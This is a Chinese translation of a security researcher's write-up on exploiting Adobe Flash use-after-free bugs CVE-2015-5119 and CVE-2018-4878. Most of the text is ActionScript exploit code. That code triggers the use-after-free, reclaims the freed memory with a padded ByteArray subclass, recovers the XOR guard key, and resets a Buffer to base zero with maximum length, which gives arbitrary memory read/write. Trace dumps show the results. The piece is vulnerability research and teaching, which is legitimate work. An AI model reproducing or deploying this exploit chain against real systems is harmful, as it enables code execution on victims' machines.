-
-
[翻译]Adobe Flash漏洞利用:从CVE-2015-5119到CVE-2018-4878
-
发表于: 2018-3-4 00:26 5367
-
Adobe Flash漏洞利用:从CVE-2015-5119到CVE-2018-4878
上周,据报道,一个exp(漏洞利用)被用来传播ROKRAT恶意软件。有趣的是,Flash exp“销声匿迹”了一段时间,现在又出现,在被一个APT组织利用。我们不禁想知道发生了什么变化,以及这个最新exp的原理。
在这篇文章中,我们将先介绍一个旧的Flash exp,然后了解这个最新的样本如何绕过Flash环境中的一些防御措施。
先来看看之前一个影响Flash防御措施的漏洞,CVE-2015-5119,通常被称为Hacking Team Flash 0day。
CVE-2015-5119原理
早在2015年7月,Hacking Team遭遇了一次数据泄露,一些内部电子邮件、应用程序源码和exp被公开,其中包含针对一个Flash 16的远程代码执行漏洞(即CVE-2015-5119)的exp。
该漏洞类型为“Use-After-Free”,意味着在没有更新对象引用的情况下内存被释放给Flash使用。来看一个可以触发漏洞的示例:
public class VulnSimple { static var _ba :ByteArray; prototype.valueOf = function() { _ba.length = 0x1000; } public static function TryExpl() :Boolean { _ba = new ByteArray(); _ba.length = 0xfa0; _ba[0] = new VulnSimple(); // here, _ba is pointing to free’d memory return false; } }
查看Flash的源码,我们可以了解产生这个漏洞的原因。首先,有一个长度为0xfa0的ByteArray,我们给它分配一个对象。查看相应的源码,会看到“ByteArrayObject :: setUintProperty”负责处理这个任务:
void ByteArrayObject::setUintProperty(uint32_t i, Atom value) { m_byteArray[i] = uint8_t(AvmCore::integer(value)); }
例子中“value”参数是一个对象引用,被传递给检查类型的“AvmCore :: integer”函数:
/*static*/ int32_t AvmCore::integer(Atom atom) { const int kind = atomKind(atom); if (kind == kIntptrType) { … } else if (kind == kBooleanType) { … } else { // TODO optimize the code below. return (int32_t)integer_d(number(atom)); } }
然后参数被传递给“number”方法:
/*static*/ double AvmCore::number(Atom atom) { for (;;) { const int kind = atomKind(atom); … // all other cases are relatively rare switch (kind) { … case kObjectType: atom = AvmCore::atomToScriptObject(atom)->defaultValue(); break; // continue loop, effectively a tailcall } } //AvmAssert(0); // can’t get here //return 0.0; }
我们的对象被传递给“AvmCore :: atomToScriptObject”,它将该值转换回“ScriptObject”:
REALLY_INLINE /*static*/ ScriptObject* AvmCore::atomToScriptObject(const Atom atom) { AvmAssert(atomKind(atom)==kObjectType); return (ScriptObject*)atomPtr(atom); }
最后,调用“valueOf”属性:
Atom ScriptObject::defaultValue() { AvmCore *core = this->core(); Toplevel* toplevel = this->toplevel(); Atom atomv_out[1]; // call this.valueOf() // NOTE use callers versioned public to get correct valueOf Multiname tempname(core->findPublicNamespace(), core->kvalueOf); atomv_out[0] = atom(); Atom result = toplevel->callproperty(atom(), &tempname, 0, atomv_out, vtable); … }
通过Vector.<uint>利用 CVE-2015-5119
现在我们理解了这个漏洞,下面来看看它是如何被利用的。
在利用这种Flash漏洞时,我们想用一个对象来填充释放的内存,并且允许我们控制执行或修改内存…输入Vector.<uint>。Vector对象非常简单,初始化方法如下:
var v :Vector.<uint> = new Vector.<uint>(20);
初始化后,对象将包含以下内存布局:
[LEN] [METADATA_PTR] [uint 1] [uint 2] [uint 3] [uint X] …
可以在ActionScript中使用以下代码检索Vector.<uint>的长度:
v.length
该矢量的内容通过以下方式检索:
v[0]
现在要修改“Length”属性,我们发现有一个相当强大的R/W(读/写)原语。例如,如果能用0xFFFFFFFF填充“Length”属性的内存,我们就可以操控任意内存。
更新exp来展示这一点:
public function exploit() { var a :Array; var o :Object = new Object(); var ba :ByteArray = new ByteArray(); ba.length = 0xfa0; o.valueOf = function() { ba.length = 0x11000; a = new Array(90); for (var i:int; i < 90; i++) { a[i] = new Vector.<uint>(0x3f0); } return 0x40; } ba[3] = o; for (var i = 0; i < 90; i++) { if (a[i].length != 0x3f0) { AddToLog(“Modified Vector at Array Offset ” + i); AddToLog(“Modified Vector length ” + a[i].length.toString(16)); } } }
我们采取了以下步骤:
- 创建一个新的ByteArray(ba),大小为0xfa0;
- 给ByteArray的偏移量3赋值,这会调用“valueOf”方法;
- “valueOf”方法更改ByteArray的长度,强制重新分配内存,但“ba”依旧指向原始分配的内存;
- 创建一些<uint>,大小为0x3f0,目的是迫使先前的ByteArray内存现在指向一个Vector.<uint>;
- 返回0x40,导致“ba”指针(现在指向一个<uint>)将“length”属性更新为0x40003F0;
- 通过检查不是原始0x3f0字节的“length”属性,在内存中找到被修改过的<uint>。
这导致了内存的任意读/写,使用户能够编写shellcode并强制执行。
Google Project Zero对抗措施
在2015年7月16日发布的一篇帖子中,Google Project Zero参考了Hacking Team的exp,并宣布他们已经与Adobe合作推出了一些强化Flash的方法。完整的帖子可在这里找到,其中介绍了3种强化方法:
- 更强的Flash堆随机化;
- <uint>缓冲区堆分区;
- <*>长度验证。
在这三种对抗方法中,上述的修改Vector.<uint>的length属性的技术,有两种方法可以对抗。首先,Vectors被移动到一个单独的内存区域,与任何可能允许篡改“length”属性的潜在溢出隔离。其次,在Vector对象中引入了一些检查,以确保如果“length”属性被修改,运行时将检测到这种修改并暂停执行。
这种长度验证方法是以XOR key实现的。与stack-canaries类似,Vector对象中的一些属性与一个key异或,并存储结果值,这是一个检测损坏数据的简单方法。
分析TEMP.Reaper exp
对抗措施发布后,事情似乎平静下来。然而,一个新的漏洞出现了,CVE-2018-4878。
该漏洞的细节未公开,与许多安全研究人员一样,我们抓取了一个恶意软件的样本,并开始对样本进行逆向分析。
获取SWF文件并反汇编,我们发现在加载SWF时,会向C2服务器发出请求:
响应中包含一个key,该key可解密嵌入的SWF exp:
不幸的是,过程到此搁置。我们分析的所有样本中看到C2服务器都无法访问,意味着我们无法恢复100字节的XOR解密key来分析该exp。此外,那些幸运地拥有解密key的人不太愿意与他人分享,也就是说我们能做的只有等待细节被披露。
慢慢地细节开始被公开,以编辑过的部分截图和与该漏洞相关的帖子的形式出现,但没有显示获得R/W原语的路径。经过几个熬夜工作之后,我们能够重建漏洞并了解绕过对抗措施的一些情况。
分析CVE-2018-4878
首先,我们看看如何用一个简单的实例触发漏洞:
public function triggeruaf() : void { var sdk :PSDK = null; var dispatch:PSDKEventDispatcher = null; sdk = PSDK.pSDK; dispatch = sdk.createDispatcher(); this.mediaplayer = sdk.createMediaPlayer(_loc2); this.listener = new MyListener(); this.mediaplayer.drmManager.initialize(this.listener); this.listener = null; } public function runexploit() : void { this.triggeruaf(); try { new LocalConnection().connect(“foo”); new LocalConnection().connect(“foo”); } catch (e:Error) { this.danglingpointer = new MyListener(); } } public class MyListener implements DRMOperationCompleteListener { public function MyListener() { super(); } public function onDRMOperationComplete():void { trace(“IN COMPLETE”); } public function onDRMError(major:uint, minor:uint, errorString:String, errorServerUrl:String):void { trace(“IN ERROR”); } }
漏洞存在于DRMManager的“initialize”调用中,需要一个继承DRMOperationCompleteListener接口的对象。 在可以使用之前,通过将“this.listener”设置为NULL来释放对象,强制分配的内存由garbage collector(垃圾收集器)释放。
接下来,我们分配一个DRMOperationCompleteListener对象,并在“danglingpointer”变量中保存对其的引用。 这个对象被释放,但是“danglingpointer”变量仍然引用其内存,这意味着形成了一个use-after-free条件。
继续查看所披露的exp,我们看到加了一个计时器:
public function runexploit() : void { this.triggeruaf(); try { new LocalConnection().connect(“foo”); new LocalConnection().connect(“foo”); } catch (e:Error) { this.danglingpointer = new MyListener(); } this.timer = new Timer(100, 1000); this.timer.addEventListener(“timer”, this.uafcheck); this.timer.start(); }
该计时器调用一个新的函数检查UAF条件:
public function uafcheck(param1:TimerEvent) : void { if (this.danglingpointer.a1 != 0x31337) { // If here, we know that we have a danglingpointer, so we stop the timer this.timer.stop(); } }
这个定时器用于定期检查我们的“danglingpointer”对象是否已释放,并且现在指向已释放的内存。最终情况就是,允许我们用另一个对象填充这个空闲空间。
在这一点上,情况变得有点朦胧。在我们发现的截图和示例中,似乎都没有分享生成填充此内存的对象的类(“Mem_Arr” 类)的细节。但是,我们确实找到了利用此漏洞的方法,重新让我们理解了该类的行为,但是如果你有该恶意软件的样本,我们有兴趣知道你和我们对该恶意软件漏洞利用分析的匹配度。
从网上的讨论中知道,用于控制Flash的原语是一个ByteArray,意味着我们要用一个ByteArray对象填充释放的内存:
但问题是我们知道由于大小的差异,ByteArray可能不会被分配到释放的DRMOperationCompleteListener对象的内存位置。然而,我们可以创建一个新的继承ByteArray类的类并添加其他属性来扩展对象的大小。为此,我们创建一个新的类“Mem_Arr”:
public class Mem_Arr extends ByteArray { var a1:uint = 0x31338; var a2:uint = 0x31338; var a3:uint = 0x31338; var a4:uint = 0x31338; var a5:uint = 0x31338; var a6:uint = 0x31338; var a7:uint = 0x31338; var a8:uint = 0x31338; var a9:uint = 0x31338; var a10:uint = 0x31338; var a11:uint = 0x31338; var a12:Object = 0x31338; var a13:Object = 0x31338; var a14:Object = 0x31338; var a15:Object = 0x31338; var a16:Object = 0x31338; public function Mem_Arr() { } }
此外,修改“MyListener”对象以包含更多属性:
public class MyListener implements DRMOperationCompleteListener { var a1:uint = 0x31337; var a2:uint = 0x31337; var a3:uint = 0x31337; var a4:uint = 0x31337; var a5:uint = 0x31337; var a6:uint = 0x31337; var a7:uint = 0x31337; var a8:uint = 0x31337; var a9:uint = 0x31337; var a10:uint = 0x31337; var a11:uint = 0x31337; var a12:uint = 0x31337; var a13:uint = 0x31337; var a14:uint = 0x31337; var a15:uint = 0x31337; var a16:uint = 0x31337; var a17:uint = 0x31337; var a18:uint = 0x31337; var a19:uint = 0x31337; var a20:uint = 0x31337; var a21:uint = 0x31337; var a22:uint = 0x31337; var a23:uint = 0x31337; var a24:uint = 0x31337; var a25:uint = 0x31337; var a26:uint = 0x31337; var a27:uint = 0x31337; var a28:uint = 0x31337; var a29:uint = 0x31337; var a30:uint = 0x31337; var a31:uint = 0x31337; var a32:uint = 0x31337; var a33:uint = 0x31337; var a34:uint = 0x31337; public function MyListener() { super(); } public function onDRMOperationComplete():void { trace(“IN COMPLETE”); } public function onDRMError(major:uint, minor:uint, errorString:String, errorServerUrl:String):void { trace(“IN ERROR”); } }
原因是为了确保“MyListener”和“Mem_Arr”对象的大小相似,从而允许我们用“Mem_Arr”替换释放的“MyListener”对象内存。
我们还将更新“uafcheck”函数,从“Mem_Arr”对象中转储内存,以确保我们处于正确的方向上:
public function uafcheck(param1:TimerEvent) : void { if (this.danglingpointer.a1 != 0x31337) { // If here, we know that we have a danglingpointer, so we stop the timer this.timer.stop(); // Allocate our new extended ByteArray var buffer = new Mem_Arr(); buffer.length = 0x512; buffer.position = 0x31; // Here, we have a MyListener object (this.danglingpointer) // which is actually pointing to a Mem_Arr (buffer) object // Memory dump of the Mem_Arr object trace(“===============”); trace(this._vuln2.a1.toString(16)); trace(this._vuln2.a2.toString(16)); trace(this._vuln2.a3.toString(16)); trace(this._vuln2.a4.toString(16)); trace(this._vuln2.a5.toString(16)); trace(this._vuln2.a6.toString(16)); trace(this._vuln2.a7.toString(16)); trace(this._vuln2.a8.toString(16)); trace(this._vuln2.a9.toString(16)); … } }
现在,执行此SWF,会发现我们的跟踪日志包含以下内容:
=============== db8293c 44 0 64414f44 6445f9e4 64414f40 6446acf8 db17f60 8805000 89ef910 0 0 31 64414f30 99d5020 0 0 64414f38 3 0 31338 31338 31338 31338 31338 …
第一眼看起来像DWORD的随机序列,我们看看具体是什么。首先,我们看到“0x31”的值,实际上这是更新的ByteArray/Mem_Arr对象的“position”属性值。
查看ByteArray类的源码,我们知道ByteArray由以下属性组成:
private: Toplevel* const m_toplevel; MMgc::GC* const m_gc; WeakSubscriberList m_subscribers; MMgc::GCObject* m_copyOnWriteOwner; uint32_t m_position; FixedHeapRef<Buffer> m_buffer; bool m_isShareable;
其中一个属性是“m_position”,它包含“position”属性,这意味着我们处于正确的方向上,现在有能力操纵ByteArray的底层内存。
实际上使我们感兴趣的是在“m_buffer”属性中发现的一个指向包含以下内容的Buffer对象的指针:
public: uint8_t* array; uint32_t capacity; uint32_t length; // Thanks to “Guanxing Wen” for the following (https://www.blackhat.com/docs/eu-16/materials/eu-16-Wen-Use-After-Use-After-Free-Exploit-UAF-By-Generating-Your-Own.pdf) uint32_t copyOnWrite; uint32_t check_array; uint32_t check_capacity; uint32_t check_length; uint32_t check_copyOnWrite;
这里我们看到Google Project Zero引入的对抗措施之一,一些用作XOR检查值的属性。 我们需要通过解引用(dereference)m_buffer的地址来访问此结构。
为此,我们添加了一个新的类:
public class Modify { var a1:uint = 0x31339; var a2:uint = 0x31339; var a3:uint = 0x31339; var a4:uint = 0x31339; var a5:uint = 0x31339; var a6:uint = 0x31339; var a7:uint = 0x31339; var a8:uint = 0x31339; … }
并从我们的Mem_Arr类添加了对这个类的引用:
public class Mem_Arr extends ByteArray { var a1:uint = 0x31338; var a2:uint = 0x31338; var a3:uint = 0x31338; var a4:uint = 0x31338; var a5:uint = 0x31338; var a6:uint = 0x31338; var a7:uint = 0x31338; var a8:uint = 0x31338; var a9:uint = 0x31338; var a10:uint = 0x31338; var o1:Modify = new Modify(); var a12:Object = 0x31338; var a13:Object = 0x31338; var a14:Object = 0x31338; var a15:Object = 0x31338; var a16:Object = 0x31338; public function Mem_Arr() { } public function DumpPointer() : void { trace(“–> ” + this.o1.a1.toString(16)); trace(“–> ” + this.o1.a2.toString(16)); trace(“–> ” + this.o1.a3.toString(16)); trace(“–> ” + this.o1.a4.toString(16)); trace(“–> ” + this.o1.a5.toString(16)); trace(“–> ” + this.o1.a6.toString(16)); trace(“–> ” + this.o1.a7.toString(16)); trace(“–> ” + this.o1.a8.toString(16)); trace(“–> ” + this.o1.a9.toString(16)); trace(“–> ” + this.o1.a10.toString(16)); trace(“–> ” + this.o1.a11.toString(16)); } }
这里的想法是通过悬挂指针指向“m_buffer”地址来设置“Mem_Arr”对象的“o1”属性,然后通过“Modify”类来解引用对象。更新“o1”属性如下:
// Set o1 to the m_buffer this.danglingpointer.a31 = this.danglingpointer.a15 – 0x10; this.buffer.DumpPointer();
执行时,看见返回如下的记录:
–> 64414f28 –> 1 –> 8c34ab0 –> 512 –> 512 –> 0 –> b9baa73b –> b179e899 –> b179e899 –> b179ed8b –> 0 –> 0
这里可以清楚地看到ByteArray的长度为0x512,再次表明我们处于正确的方向。用这些值覆盖ByteArray对象:
–> 64414f28 –> 1 –> 8c34ab0 uint8_t* array; –> 512 uint32_t capacity; –> 512 uint32_t length; –> 0 uint32_t copyOnWrite; –> b9baa73b uint32_t check_array; –> b179e899 uint32_t check_capacity; –> b179e899 uint32_t check_length; –> b179ed8b uint32_t check_copyOnWrite; –> 0 –> 0
所以在这里我们有能力修改“Buffer”对象的底层内存。
有趣的是,我们在这里还看到,可以通过利用“check_copyOnWrite”的值(0 ^ KEY)来恢复XOR key,所以这里XOR key是b179ed8b。
在“Mem_Arr”中添加一个新方法来更新“m_buffer”,使其指向0x00000000的基址,并保持0xFFFFFFFF的限制:
public function UpdateBuffer() : void { var xorkey = this.o1.a10; // Set our address to 0, and length to max this.o1.a3 = 0; this.o1.a4 = 0xFFFFFFFF; this.o1.a5 = 0xFFFFFFFF; // Update the XOR check this.o1.a7 = this.o1.a3 ^ xorkey; this.o1.a8 = this.o1.a4 ^ xorkey; this.o1.a9 = this.o1.a5 ^ xorkey; }
就是这样......当触发时,Buffer长度被设置为0xFFFFFFFF,基址被设置为0x00000000,并且安全检查被更新。
使用这个原语,我们现在可以完全控制Flash环境,并且可以覆盖任意的内存位置:
Exp的源码在MDSec ActiveBreach GitHub.
后续
在重建上述漏洞的同时,我们发现了另一种有趣的方式来操作内存内容,无需使用ByteArray或Vector.<uint>并且无需处理XOR保护。
通过利用对象引用,就像上面用来读取“m_buffer”属性一样,有一个相当稳定的R/W原语。
例如,让我们修改上面的PoC以尝试读取任意的内存位置。在这里,将“o1”引用设置为0x41414141:
// Set o1 to 0x41414141 this.danglingpointer.a31 = 0x41414141 – 0x10;
并调用添加到Mem_Arr, RW()的新函数:
public function RW() : void { this.o1.a1 = 0x31337; } this.buffer.RW();
再次执行:
这里可以看到,使用这个对象解引用,我们可以用我们选择的值覆盖任何内存位置。
同样,我们没有完整的恶意软件样本,但我们很想知道这种技术是否被原始exp利用。
在下一篇文章中,我们将研究如何使用上述原语执行自定义shellcode。那么从所有这些中得到了什么呢?首先是即使Adode将Flash加固了,漏洞利用依然可行,尤其是比如Use-After-Free,我们可以完全控制属性值并且可以泄漏内存。
其次,当你有能力修改对象时,有多种方法可以处理Flash中的任意内存,尽管在比如Vector.<uint>和ByteArray这些地方已经引入了对抗措施,但对象解引用还是有用。
这篇文章和相关研究由MDSec的Adam Chester完成。
原文链接:https://www.mdsec.co.uk/2018/02/adobe-flash-exploitation-then-and-now-from-cve-2015-5119-to-cve-2018-4878/
本文由看雪论坛翻译小组成员SpearMint翻译
赞赏
- [翻译]老木马新玩法:Qbot最新攻击手法探究 17940
- [翻译]Crimson远控木马分析 23633
- [翻译]DLL劫持自动化检测 23258
- [翻译]使用Frida框架hook安卓native方法(适合新手) 26339
- [翻译]蓝军测试中PROXY protocol的应用 8169